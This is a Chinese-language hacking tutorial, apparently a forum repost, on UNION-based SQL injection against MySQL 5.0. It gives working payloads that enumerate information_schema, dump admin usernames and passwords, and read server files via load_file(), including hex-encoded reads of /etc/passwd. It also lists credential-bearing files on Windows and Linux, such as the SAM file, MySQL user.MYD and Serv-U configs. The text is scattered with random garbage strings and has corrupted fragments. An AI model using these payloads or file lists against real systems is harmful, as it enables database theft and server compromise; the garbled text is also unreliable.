mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。



Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
) }4 J: {1 g6 k8 k* p' r, N存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
/ d! q9 _6 q* c# F( J3 V|SCHEMATA ->存储数据库名的表
8 Y1 ]8 j1 L- A' d& M* l( d& q|—字段：SCHEMA_NAME ->数据库名称
0 o6 V0 s" [% w! m
1 {& G* s) N* C  @9 B/ k) I|TABLES ->存储表名
- @. ?' ]0 y+ h" N! F|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
  U4 L  W0 o! @1 q|—字段：TABLE_NAME ->存储表的表名
# O# D/ w: l/ u& s4 C
|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
1 r* g9 b5 c, M: j" C! P) {; \
|—字段：COLUMN_NAME ->该字段的名称

#########################################################################
##

0×001 获取系统信息:

9 c- ?& W2 t$ B& @1 V8 o5 hunion select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
: I2 M; _, D  r+ f4 o' l0 Q, M4 B' P
/*

# O5 Y" Q4 D) ?& i+ p0 `+ }@@global.version_compile_os 获取系统版本

& U; Q/ k! {% o9 J3 B! U* ~+ r@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

*/
1 j, O2 P3 j- F
  s0 c2 h) g. ~######################################################################
# g8 o' s/ ]) O7 w: C
! q1 @' d# q1 A$ E7 t; b1 ]0×002 获取表名

, m  J; b0 J2 q; }2 s; _+ Z  Funion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
3 r2 |3 z# m. ?( u# uinformation_schema.tables where table_schema=0x67617264656e /*

/*
0 L; {2 @9 U2 w' X( R) i
9 ^* m; [: c6 l( O$ }0x67617264656e 为当前数据库名
+ w4 k* S, l( G+ [4 y5 i% M
( @2 T: N+ z. u7 ?. pgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/

) Y% ]5 B/ |5 z! \$ T  E######################################################################

7 f, Z: T4 ~. |0×003 获取字段

3 G% X0 ~+ d- o/ l% Dunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
; I! a6 m  O2 Q) @7 z' L7 Winformation_schema.columns where table_name=0x61646d696e and
6 U0 h) M# s& E6 h4 Z: p8 s
5 o% B" N7 h) ~0 c: I1 s: _1 A8 D
! |5 T; b9 o/ t" Y1 m2 s( Ntable_schema=0x67617264656e limit 1 /*
0 I- P+ u/ @4 p% s
/*
% I. `- P/ ^9 q5 d3 M
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
6 p. J/ s. |& z; B1 C
* K) Y/ g8 Q) L- w- T/ l: z0x67617264656e ->数据库名

*/

5 o! w" B; \$ O; J9 R9 w" z#####################################################################
8 o, S- d! c) C* e! D
! u; d0 L; ~  R0×004 获取数据
9 N  X  s7 A$ ~. w% {+ N
3 w6 Y" S. S$ H, e' munion select 1,2,3
" t& ?6 U6 Q! w) b' r4 P/ f6 @,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
! M- g3 W  p$ H" a! B7 N
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
2 e. [8 d9 \+ i" {3 J& T
$ x/ `) u; L. ]1 I* b/*

# |1 _. \$ Z. l& Y0 [0x3c62723e 换行符号HEX编码

6 y1 z; o/ s* r. Agroup_concat 同时获得该字段所有数据

*/
6 j8 x* X* b( j1 b9 ?* x( F
+ J7 b5 J% n/ \# I- F0 n' C$ E
/ e9 Z3 U: B: Z8 ~7 s1 h

* K1 ^- l8 [, h% M8 S; i
顺便添加一些mysql注入时非常有用的一些东西

简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
6 i" N  }% O+ Y" e& E, i
4 [% [0 `! d/ ~. P+ E# }# C1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
; N& [2 ]9 A' R5:database()    数据库名
  k: L. n8 I( s: A: a6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
1 x0 W" \: _9 O* A' I9@basedir    MYSQL 安装路径
. V, C. N7 V! r- a2 |5 U/ @1 z10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
WINDOWS下:
/ f% Q$ A* S( I/ Y+ ^' ^- ?6 V5 ]c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
/ I* X; z+ p9 q: k8 pc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
, U  q4 `3 j; t$ c1 `+ S7 sc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
8 w3 e$ V, N3 R# S, Fc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
/ Y+ O( ]8 W. }1 {7 ~$ y( Tc:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
& T1 Z3 r0 @6 v4 ?( X0 I. h' \//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
- d; a7 e1 h) Bc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


" H. F+ w! `4 S, vc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
" T! x6 _1 D  o3 J2 N1 h6 a# Wd:\APACHE\Apache2\conf\httpd.conf
  w0 d" i0 r5 T# t- K! [# M3 `& x4 qC:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
; }0 y- y6 e5 EC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

0 u/ l* g' ?2 v% x0 h% mLUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
. L1 f. ~" _  \  u7 E$ L: C/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
; u) j8 b% {; A& |6 H7 E/usr/local/app/php5/lib/php.ini //PHP相关设置
1 G/ w. J2 C5 j! d. Y/etc/sysconfig/iptables //从中得到防火墙规则策略
! z& u  |, e1 U# w/etc/httpd/conf/httpd.conf // apache配置文件
. q4 O5 v; v) Y& c1 T/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
  g2 I- }, b1 F& x- J/etc/redhat-release //系统版本
; p/ Z. @4 v& Z9 J2 B7 j! Z/etc/issue
/etc/issue.net
3 D0 \7 |5 n. D/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
+ Y$ e4 x# W, |2 |1 H# a9 A/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
3 j  t( I5 Z7 F7 P8 P" k/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
+ v8 D! O9 E/ @  s* y0 b/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
8 g4 R  ]- g& F! F% F/ _- ^/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
: D& M8 W* _3 D! S  }% E/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
2 h# Q% r, E& ?" l& L& ^# u/ @replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
% A" V: a; L' o5 m# D. Q7 k4 s